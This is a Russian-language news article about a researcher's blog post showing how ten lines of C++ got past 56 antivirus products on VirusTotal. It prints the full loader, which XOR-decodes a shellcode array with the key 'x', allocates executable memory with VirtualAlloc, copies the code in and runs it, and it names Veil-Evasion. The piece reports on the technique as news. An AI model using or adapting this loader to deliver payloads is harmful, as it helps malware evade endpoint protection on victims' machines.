Обходим антивирус при помощи десяти строк кода
Специалист по информационной безопасности под ником evasiv3 опубликовал на прошлой неделе запись в своем блоге, в которой рассказывается о том, как можно обойти любой антивирус при помощи десяти строк кода.
Изначально Evasiv3 планировал написать огромный пост о способах обхода антивирусной защиты, однако, протестировав первый шаг своего «руководства» он был очень удивлен: ни один из 56 протестированных продуктов, призванных обеспечить безопасность пользователя в сети, не обнаружил его вредоносный бинарник.
После получения подобного результата я решил отказаться от своей идеи долгого и изматывающего обхода антивирусной защиты и действовать быстро, «грязно», но при этом невероятно просто.
В своей работе evasiv3 использовал Veil-Evasion, часть Veil-Framework’a. Автор отмечает его как «превосходный инструмент, который почти никогда его не подводил».
Код, представленный ниже, написан на С++ и ориентирован на атаку, в первую очередь, windows-платформы:
#include
#include
int main(int argc, char **argv) {
char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
Приведенный выше код создает массив символов с шелл-кодом, выполняет операцию XOR с невероятно сложным ключом «х» в нижнем регистре, выделяет немного памяти, копирует массив в нее и после выполняет.
Если вы сейчас подумали «да ладно!», то у вас та же реакция, что и у Evasiv’a. Масла в огонь подливает тот факт, что бинарник был обнаружен 0 антивирусов из 56 после проверки через VirusTotal. Продемонстрированный выше АВ-обход показывает, что простейший и основной метод проникновения до сих пор является рабочим.
Конечно, большинство антивирусов сосредоточены на пресечении эксплуатации уязвимостей, а не на них выявление, так что «хоронить» их пока рано.
На скриншоте в начале статьи указана дата за 2015 год, однако, автор кода перепроверил бинарник VirusTotal перед публикацией в своем блоге. Результат тот же: 0 из 56.